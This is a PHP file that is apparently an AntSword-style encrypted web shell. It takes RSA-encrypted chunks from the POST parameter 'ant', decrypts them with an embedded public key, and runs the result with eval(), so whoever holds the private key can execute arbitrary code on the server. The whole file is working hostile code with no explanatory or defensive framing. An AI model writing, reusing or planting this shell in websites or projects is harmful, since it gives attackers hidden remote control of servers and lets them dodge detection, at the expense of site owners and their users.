<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCLtbC5lyGmYTrw5Zhx/vgIAsSt
zPk0Y9DQFPxHWtZKPLVvC5K42NHHPQ0YU1Tk3TwW+px6u+HNHqQzXLv2Z0MGB25M
+MHxWqJPotc82k+MOWRFk11tlEYSPLtbEWQgu1Aj4jfCN88UpSjD4G8B1gGc2+Qv
oShEODgn34B6j8r+kQIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);